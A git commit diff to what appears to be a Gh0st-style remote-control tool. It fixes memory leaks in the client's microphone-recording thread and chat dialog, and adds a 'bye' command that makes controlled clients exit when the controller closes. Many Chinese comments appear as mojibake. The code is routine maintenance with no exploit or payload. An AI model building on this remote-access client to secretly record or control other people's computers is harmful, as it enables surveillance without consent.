主控端退出时被控端也退出

1、修复主控端CTalkDlg的内存泄漏问题,被控端即时消息对话框置于顶层。

2、SAFE_DELETE(ContextObject->olps)有崩溃概率。改为主控端退出时先令被控端退出,就没有内存泄漏。

3、开关音频时偶有内存泄漏,waveInCallBack线程不能正常退出。
This commit is contained in:
yuanyuanxiang
2019-01-15 21:48:37 +08:00
parent c6e9a06a1a
commit c54d75505e
24 changed files with 127 additions and 47 deletions

View File

@@ -79,3 +79,11 @@
2、修正CFileManagerDlg的构造函数调用SHGetFileInfo和FromHandle方法解决多次打开崩溃。 2、修正CFileManagerDlg的构造函数调用SHGetFileInfo和FromHandle方法解决多次打开崩溃。
3、更新服务端zlib版本为V1.2.11。与客户端不同因inflate_fast 崩溃,没有采用汇编) 3、更新服务端zlib版本为V1.2.11。与客户端不同因inflate_fast 崩溃,没有采用汇编)
2019.1.15
1、修复主控端CTalkDlg的内存泄漏问题被控端即时消息对话框置于顶层。
2、SAFE_DELETE(ContextObject->olps)有崩溃概率。改为主控端退出时先令被控端退出,就没有内存泄漏。
3、开关音频时偶有内存泄漏waveInCallBack线程不能正常退出。

View File

@@ -14,6 +14,7 @@ CAudio::CAudio()
{ {
m_bExit = FALSE; m_bExit = FALSE;
m_hThreadCallBack = false; m_hThreadCallBack = false;
m_Thread = NULL;
m_bIsWaveInUsed = FALSE; m_bIsWaveInUsed = FALSE;
m_bIsWaveOutUsed = FALSE; m_bIsWaveOutUsed = FALSE;
m_nWaveInIndex = 0; m_nWaveInIndex = 0;
@@ -47,26 +48,7 @@ CAudio::CAudio()
CAudio::~CAudio() CAudio::~CAudio()
{ {
m_bExit = TRUE; m_bExit = TRUE;
if (m_bIsWaveInUsed)
{
waveInStop(m_hWaveIn);
waveInReset(m_hWaveIn);
for (int i = 0; i < 2; i++)
waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
waveInClose(m_hWaveIn);
WAIT (m_hThreadCallBack, 30);
if (m_hThreadCallBack)
printf("û<EFBFBD>гɹ<EFBFBD><EFBFBD>ر<EFBFBD>waveInCallBack.\n");
}
for (int i = 0; i < 2; i++)
{
delete [] m_InAudioData[i];
m_InAudioData[i] = NULL;
delete [] m_InAudioHeader[i];
m_InAudioHeader[i] = NULL;
}
if (m_hEventWaveIn) if (m_hEventWaveIn)
{ {
SetEvent(m_hEventWaveIn); SetEvent(m_hEventWaveIn);
@@ -80,6 +62,29 @@ CAudio::~CAudio()
m_hStartRecord = NULL; m_hStartRecord = NULL;
} }
if (m_bIsWaveInUsed)
{
waveInStop(m_hWaveIn);
waveInReset(m_hWaveIn);
for (int i = 0; i < 2; i++)
waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
waveInClose(m_hWaveIn);
WAIT (m_hThreadCallBack, 30);
if (m_hThreadCallBack)
printf("û<EFBFBD>гɹ<EFBFBD><EFBFBD>ر<EFBFBD>waveInCallBack.\n");
TerminateThread(m_Thread, -999);
m_Thread = NULL;
}
for (int i = 0; i < 2; i++)
{
delete [] m_InAudioData[i];
m_InAudioData[i] = NULL;
delete [] m_InAudioHeader[i];
m_InAudioHeader[i] = NULL;
}
if (m_bIsWaveOutUsed) if (m_bIsWaveOutUsed)
{ {
waveOutReset(m_hWaveOut); waveOutReset(m_hWaveOut);
@@ -102,8 +107,7 @@ BOOL CAudio::InitializeWaveIn()
MMRESULT mmResult; MMRESULT mmResult;
DWORD dwThreadID = 0; DWORD dwThreadID = 0;
HANDLE h = NULL; m_hThreadCallBack = m_Thread = CreateThread(NULL, 0,
m_hThreadCallBack = h = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)waveInCallBack, (LPVOID)this, (LPTHREAD_START_ROUTINE)waveInCallBack, (LPVOID)this,
CREATE_SUSPENDED, &dwThreadID); CREATE_SUSPENDED, &dwThreadID);
@@ -114,7 +118,6 @@ BOOL CAudio::InitializeWaveIn()
//m_hWaveIn ¼<><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> //m_hWaveIn ¼<><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (mmResult != MMSYSERR_NOERROR) if (mmResult != MMSYSERR_NOERROR)
{ {
CloseHandle(h);
return FALSE; return FALSE;
} }
@@ -130,8 +133,7 @@ BOOL CAudio::InitializeWaveIn()
waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR)); waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR));
ResumeThread(h); ResumeThread(m_Thread);
CloseHandle(h);
waveInStart(m_hWaveIn); //¼<><C2BC> waveInStart(m_hWaveIn); //¼<><C2BC>
m_bIsWaveInUsed = TRUE; m_bIsWaveInUsed = TRUE;
@@ -170,11 +172,12 @@ DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam)
{ {
SetEvent(This->m_hEventWaveIn); SetEvent(This->m_hEventWaveIn);
WaitForSingleObject(This->m_hStartRecord, INFINITE); WaitForSingleObject(This->m_hStartRecord, INFINITE);
if (This->m_bExit)
break;
Sleep(1); Sleep(1);
This->m_nWaveInIndex = 1 - This->m_nWaveInIndex; This->m_nWaveInIndex = 1 - This->m_nWaveInIndex;
//<2F><><EFBFBD>»<EFBFBD><C2BB><EFBFBD> //<2F><><EFBFBD>»<EFBFBD><C2BB><EFBFBD>
MMRESULT mmResult = waveInAddBuffer(This->m_hWaveIn, MMRESULT mmResult = waveInAddBuffer(This->m_hWaveIn,
This->m_InAudioHeader[This->m_nWaveInIndex], sizeof(WAVEHDR)); This->m_InAudioHeader[This->m_nWaveInIndex], sizeof(WAVEHDR));
@@ -194,7 +197,7 @@ DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam)
std::cout<<"waveInCallBack end\n"; std::cout<<"waveInCallBack end\n";
This->m_hThreadCallBack = false; This->m_hThreadCallBack = false;
return 0; return 0;
} }
BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize) BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize)

View File

@@ -26,6 +26,7 @@ public:
HWAVEIN m_hWaveIn; //<2F><EFBFBD><E8B1B8><EFBFBD><EFBFBD> HWAVEIN m_hWaveIn; //<2F><EFBFBD><E8B1B8><EFBFBD><EFBFBD>
DWORD m_nWaveInIndex; DWORD m_nWaveInIndex;
bool m_hThreadCallBack; bool m_hThreadCallBack;
HANDLE m_Thread;// waveInCallBack<63>߳<EFBFBD>
static DWORD WINAPI waveInCallBack(LPVOID lParam); //<2F><><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD>ض<EFBFBD> static DWORD WINAPI waveInCallBack(LPVOID lParam); //<2F><><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD>ض<EFBFBD>
LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize); LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize);
BOOL CAudio::InitializeWaveIn(); BOOL CAudio::InitializeWaveIn();

View File

@@ -17,6 +17,8 @@ using namespace std;
CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObject) CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
{ {
printf("new CAudioManager %x\n", this);
m_bIsWorking = FALSE; m_bIsWorking = FALSE;
m_AudioObject = NULL; m_AudioObject = NULL;
@@ -100,6 +102,7 @@ CAudioManager::~CAudioManager()
delete m_AudioObject; delete m_AudioObject;
m_AudioObject = NULL; m_AudioObject = NULL;
} }
printf("~CAudioManager %x\n", this);
} }
//USB //USB

View File

@@ -115,7 +115,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
while (!g_bExit) while (!g_bExit)
{ {
DWORD dwTickCount = GetTickCount(); DWORD dwTickCount = GetTickCount();
if (!ClientObject->ConnectServer(g_szServerIP, g_uPort)) if (!ClientObject->ConnectServer(g_szServerIP, g_uPort))
{ {
for (int k = 500; !g_bExit && --k; Sleep(10)); for (int k = 500; !g_bExit && --k; Sleep(10));

View File

@@ -136,6 +136,9 @@
<ItemGroup> <ItemGroup>
<Media Include="Res\msg.wav" /> <Media Include="Res\msg.wav" />
</ItemGroup> </ItemGroup>
<ItemGroup>
<Image Include="Res\ghost.ico" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">
</ImportGroup> </ImportGroup>

View File

@@ -174,4 +174,9 @@
<Filter>资源文件</Filter> <Filter>资源文件</Filter>
</Media> </Media>
</ItemGroup> </ItemGroup>
<ItemGroup>
<Image Include="Res\ghost.ico">
<Filter>资源文件</Filter>
</Image>
</ItemGroup>
</Project> </Project>

View File

@@ -8,13 +8,15 @@
#include "zconf.h" #include "zconf.h"
#include "zlib.h" #include "zlib.h"
#include <assert.h> #include <assert.h>
#include "Manager.h"
using namespace std; using namespace std;
////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////
// Construction/Destruction // Construction/Destruction
////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////
VOID IOCPClient::setManagerCallBack(class CManager* Manager) VOID IOCPClient::setManagerCallBack(CManager* Manager)
{ {
m_Manager = Manager; m_Manager = Manager;
} }
@@ -22,6 +24,7 @@ VOID IOCPClient::setManagerCallBack(class CManager* Manager)
IOCPClient::IOCPClient(bool exit_while_disconnect) IOCPClient::IOCPClient(bool exit_while_disconnect)
{ {
m_Manager = NULL;
WSADATA wsaData; WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData); WSAStartup(MAKEWORD(2, 2), &wsaData);
@@ -154,6 +157,14 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
}else{ }else{
//<2F><>ȷ<EFBFBD><C8B7><EFBFBD>վ͵<D5BE><CDB5><EFBFBD>OnRead<61><64><EFBFBD><EFBFBD><><D7AA>OnRead //<2F><>ȷ<EFBFBD><C8B7><EFBFBD>վ͵<D5BE><CDB5><EFBFBD>OnRead<61><64><EFBFBD><EFBFBD><><D7AA>OnRead
This->OnServerReceiving(szBuffer, iReceivedLength); This->OnServerReceiving(szBuffer, iReceivedLength);
if (This->m_Manager->m_bIsDead)
{
printf("****** Recv bye bye ******\n");
// <20>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
extern bool g_bExit;
g_bExit = true;
break;
}
} }
} }
} }

View File

@@ -51,14 +51,14 @@ public:
char m_szPacketFlag[FLAG_LENGTH]; char m_szPacketFlag[FLAG_LENGTH];
VOID setManagerCallBack(class CManager* Manager); VOID setManagerCallBack(CManager* Manager);
VOID Disconnect(); VOID Disconnect();
VOID RunEventLoop(const BOOL &bCondition); VOID RunEventLoop(const BOOL &bCondition);
bool IsConnected() const { return m_bConnected == TRUE; } bool IsConnected() const { return m_bConnected == TRUE; }
public: public:
class CManager* m_Manager; CManager* m_Manager;
CRITICAL_SECTION m_cs; CRITICAL_SECTION m_cs;
bool m_exit_while_disconnect; bool m_exit_while_disconnect;
}; };

View File

@@ -16,7 +16,7 @@ CKernelManager::CKernelManager(IOCPClient* ClientObject):CManager(ClientObject)
CKernelManager::~CKernelManager() CKernelManager::~CKernelManager()
{ {
printf("~CKernelManager \n"); printf("~CKernelManager begin\n");
int i = 0; int i = 0;
for (i=0;i<0x1000;i++) for (i=0;i<0x1000;i++)
{ {
@@ -30,6 +30,7 @@ CKernelManager::~CKernelManager()
} }
} }
m_ulThreadCount = 0; m_ulThreadCount = 0;
printf("~CKernelManager end\n");
} }
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
@@ -75,6 +76,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{ {
BYTE bToken = COMMAND_BYE; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h BYTE bToken = COMMAND_BYE; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
m_ClientObject->OnServerSending((char*)&bToken, 1); m_ClientObject->OnServerSending((char*)&bToken, 1);
m_bIsDead = true; //say goodbye
OutputDebugStringA("======> Bye bye \n"); OutputDebugStringA("======> Bye bye \n");
m_hThread[m_ulThreadCount].p = NULL; m_hThread[m_ulThreadCount].p = NULL;
delete pNew; delete pNew;

View File

@@ -4,6 +4,7 @@
#include "stdafx.h" #include "stdafx.h"
#include "Manager.h" #include "Manager.h"
#include "IOCPClient.h"
////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////
// Construction/Destruction // Construction/Destruction
@@ -11,8 +12,9 @@
CManager::CManager(IOCPClient* ClientObject) CManager::CManager(IOCPClient* ClientObject)
{ {
m_bIsDead = false;
m_ClientObject = ClientObject; m_ClientObject = ClientObject;
m_ClientObject->setManagerCallBack(this); m_ClientObject->setManagerCallBack(this);
m_hEventDlgOpen = CreateEvent(NULL,TRUE,FALSE,NULL); m_hEventDlgOpen = CreateEvent(NULL,TRUE,FALSE,NULL);
} }

View File

@@ -9,14 +9,12 @@
#pragma once #pragma once
#endif // _MSC_VER > 1000 #endif // _MSC_VER > 1000
#include "IOCPClient.h"
class IOCPClient; class IOCPClient;
class CManager class CManager
{ {
public: public:
bool m_bIsDead; // bye-bye
CManager(IOCPClient* ClientObject); CManager(IOCPClient* ClientObject);
virtual ~CManager(); virtual ~CManager();

BIN
client/Res/ghost.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.2 KiB

View File

@@ -25,11 +25,11 @@ LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
// //
IDD_DIALOG DIALOGEX 0, 0, 180, 108 IDD_DIALOG DIALOGEX 0, 0, 180, 108
STYLE DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "<22><>Ϣ<EFBFBD><CFA2>ʾ" CAPTION "<22><>Ϣ<EFBFBD><CFA2>ʾ"
FONT 10, "System", 0, 0, 0x0 FONT 10, "System", 0, 0, 0x0
BEGIN BEGIN
EDITTEXT IDC_EDIT_MESSAGE,0,0,180,82,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | NOT WS_BORDER EDITTEXT IDC_EDIT_MESSAGE,0,0,180,82,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | NOT WS_BORDER | WS_VSCROLL
END END
@@ -120,6 +120,15 @@ BEGIN
END END
END END
/////////////////////////////////////////////////////////////////////////////
//
// Icon
//
// Icon with lowest ID value placed first to ensure application icon
// remains consistent on all systems.
IDI_ICON_MAIN ICON "Res\\ghost.ico"
#endif // <20><><EFBFBD><EFBFBD>(<28><><EFBFBD><EFBFBD>й<EFBFBD>) resources #endif // <20><><EFBFBD><EFBFBD>(<28><><EFBFBD><EFBFBD>й<EFBFBD>) resources
///////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////

View File

@@ -16,7 +16,7 @@ using namespace std;
#define ID_TIMER_CLOSE_WINDOW 3 #define ID_TIMER_CLOSE_WINDOW 3
#define WIN_WIDTH 250 #define WIN_WIDTH 250
#define WIN_HEIGHT 250 #define WIN_HEIGHT 200
////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////
// Construction/Destruction // Construction/Destruction
////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////
@@ -87,6 +87,9 @@ VOID CTalkManager::OnInitDialog(HWND hDlg)
{ {
MoveWindow(hDlg, 0, 0, 0, 0, TRUE); MoveWindow(hDlg, 0, 0, 0, 0, TRUE);
static HICON hIcon = LoadIcon(NULL, MAKEINTRESOURCE(IDI_ICON_MAIN));
::SendMessage(hDlg, WM_SETICON, (WPARAM)hIcon, (LPARAM)hIcon);
SetDlgItemText(hDlg,IDC_EDIT_MESSAGE,g_Buffer); SetDlgItemText(hDlg,IDC_EDIT_MESSAGE,g_Buffer);
memset(g_Buffer,0,sizeof(g_Buffer)); memset(g_Buffer,0,sizeof(g_Buffer));

View File

@@ -141,6 +141,9 @@
<ItemGroup> <ItemGroup>
<Media Include="Res\msg.wav" /> <Media Include="Res\msg.wav" />
</ItemGroup> </ItemGroup>
<ItemGroup>
<Image Include="Res\ghost.ico" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">
</ImportGroup> </ImportGroup>

View File

@@ -174,4 +174,9 @@
<Filter>资源文件</Filter> <Filter>资源文件</Filter>
</Media> </Media>
</ItemGroup> </ItemGroup>
<ItemGroup>
<Image Include="Res\ghost.ico">
<Filter>资源文件</Filter>
</Image>
</ItemGroup>
</Project> </Project>

View File

@@ -6,6 +6,6 @@
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor> <DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
<LocalDebuggerCommandArguments>192.168.104.248 2356</LocalDebuggerCommandArguments> <LocalDebuggerCommandArguments>192.168.104.250 2356</LocalDebuggerCommandArguments>
</PropertyGroup> </PropertyGroup>
</Project> </Project>

View File

@@ -1,16 +1,18 @@
//{{NO_DEPENDENCIES}} //{{NO_DEPENDENCIES}}
// Microsoft Developer Studio generated include file. // Microsoft Visual C++ <20><><EFBFBD>ɵİ<C9B5><C4B0><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
// Used by Script.rc // <EFBFBD><EFBFBD> Script.rc ʹ<><CAB9>
// //
#define IDD_DIALOG 101 #define IDD_DIALOG 101
#define IDR_WAVE 102 #define IDR_WAVE 102
#define IDI_ICON1 104
#define IDI_ICON_MAIN 104
#define IDC_EDIT_MESSAGE 1000 #define IDC_EDIT_MESSAGE 1000
// Next default values for new objects // Next default values for new objects
// //
#ifdef APSTUDIO_INVOKED #ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS #ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 103 #define _APS_NEXT_RESOURCE_VALUE 105
#define _APS_NEXT_COMMAND_VALUE 40001 #define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1001 #define _APS_NEXT_CONTROL_VALUE 1001
#define _APS_NEXT_SYMED_VALUE 101 #define _APS_NEXT_SYMED_VALUE 101

View File

@@ -1,7 +1,10 @@
 
Microsoft Visual Studio Solution File, Format Version 12.00 Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2012 # Visual Studio 2012
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "2015Remote", "2015Remote\2015Remote.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}" Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Yama", "2015Remote\2015Remote.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}"
ProjectSection(ProjectDependencies) = postProject
{3F756E52-23C2-4EE4-A184-37CF788D50A7} = {3F756E52-23C2-4EE4-A184-37CF788D50A7}
EndProjectSection
EndProject EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "..\client\ClientDll.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}" Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "..\client\ClientDll.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}"
EndProject EndProject

View File

@@ -575,6 +575,15 @@ void CMy2015RemoteDlg::OnClose()
Shell_NotifyIcon(NIM_DELETE, &m_Nid); Shell_NotifyIcon(NIM_DELETE, &m_Nid);
#endif #endif
BYTE bToken = COMMAND_BYE;
int n = m_CList_Online.GetItemCount();
for(int Pos = 0; Pos < n; ++Pos)
{
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(Pos);
m_iocpServer->OnClientPreSending(ContextObject, &bToken, sizeof(BYTE));
}
Sleep(200);
EnterCriticalSection(&m_cs); EnterCriticalSection(&m_cs);
for (std::vector<CFileManagerDlg *>::iterator iter = v_FileDlg.begin(); for (std::vector<CFileManagerDlg *>::iterator iter = v_FileDlg.begin();
iter != v_FileDlg.end(); ++iter) iter != v_FileDlg.end(); ++iter)
@@ -598,7 +607,7 @@ void CMy2015RemoteDlg::OnClose()
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Sleep<65><70><EFBFBD><EFBFBD><EFBFBD>ܱ<EFBFBD><DCB1><EFBFBD><E2B2BB><EFBFBD>˳<EFBFBD>ʱ<EFBFBD>ı<EFBFBD><C4B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IOCP<43><50>Ҫ<EFBFBD><D2AA><EFBFBD>ظ<EFBFBD>Щ<EFBFBD><D0A9><EFBFBD><EFBFBD> //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Sleep<65><70><EFBFBD><EFBFBD><EFBFBD>ܱ<EFBFBD><DCB1><EFBFBD><E2B2BB><EFBFBD>˳<EFBFBD>ʱ<EFBFBD>ı<EFBFBD><C4B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IOCP<43><50>Ҫ<EFBFBD><D2AA><EFBFBD>ظ<EFBFBD>Щ<EFBFBD><D0A9><EFBFBD><EFBFBD>
ShowWindow(SW_HIDE); ShowWindow(SW_HIDE);
Sleep(500); Sleep(300);
if (m_iocpServer!=NULL) if (m_iocpServer!=NULL)
{ {
@@ -739,9 +748,9 @@ void CMy2015RemoteDlg::OnOnlineBuildClient()
VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength) VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength)
{ {
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition(); //1[pcontext client] 2 3 //1 2 POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition(); //1[pcontext client] 2 3 //1 2
while(Pos) while(Pos)
{ {
int iItem = m_CList_Online.GetNextSelectedItem(Pos); int iItem = m_CList_Online.GetNextSelectedItem(Pos);
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem); //<2F><><EFBFBD>б<EFBFBD><D0B1><EFBFBD>Ŀ<EFBFBD><C4BF>ȡ<EFBFBD><C8A1>ClientContext<78><EFBFBD><E1B9B9> CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem); //<2F><><EFBFBD>б<EFBFBD><D0B1><EFBFBD>Ŀ<EFBFBD><C4BF>ȡ<EFBFBD><C8A1>ClientContext<78><EFBFBD><E1B9B9>
// <20><><EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD>ݰ<EFBFBD> //<2F>鿴ClientContext<78><EFBFBD><E1B9B9> // <20><><EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD>ݰ<EFBFBD> //<2F>鿴ClientContext<78><EFBFBD><E1B9B9>
@@ -1061,6 +1070,12 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
{ {
switch(p->v1) switch(p->v1)
{ {
case TALK_DLG:
{
CTalkDlg *Dlg = (CTalkDlg*)p->hDlg;
delete Dlg;
break;
}
case VIDEO_DLG: case VIDEO_DLG:
{ {
CVideoDlg *Dlg = (CVideoDlg*)p->hDlg; CVideoDlg *Dlg = (CVideoDlg*)p->hDlg;

View File

@@ -98,7 +98,8 @@ IOCPServer::~IOCPServer(void)
while (!m_ContextFreePoolList.IsEmpty()) while (!m_ContextFreePoolList.IsEmpty())
{ {
CONTEXT_OBJECT *ContextObject = m_ContextFreePoolList.RemoveHead(); CONTEXT_OBJECT *ContextObject = m_ContextFreePoolList.RemoveHead();
SAFE_DELETE(ContextObject->olps); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʣ<EFBFBD>2019.1.14
//SAFE_DELETE(ContextObject->olps);
delete ContextObject; delete ContextObject;
} }

View File

@@ -41,6 +41,8 @@ BOOL CTalkDlg::OnInitDialog()
{ {
CDialog::OnInitDialog(); CDialog::OnInitDialog();
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDR_MAINFRAME));
SetIcon(m_hIcon, FALSE);
BYTE bToken = COMMAND_NEXT; BYTE bToken = COMMAND_NEXT;
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE)); m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));

View File

@@ -16,6 +16,7 @@ public:
enum { IDD = IDD_DIALOG_TALK }; enum { IDD = IDD_DIALOG_TALK };
CONTEXT_OBJECT* m_ContextObject; CONTEXT_OBJECT* m_ContextObject;
IOCPServer* m_iocpServer; IOCPServer* m_iocpServer;
HICON m_hIcon;
protected: protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7> virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>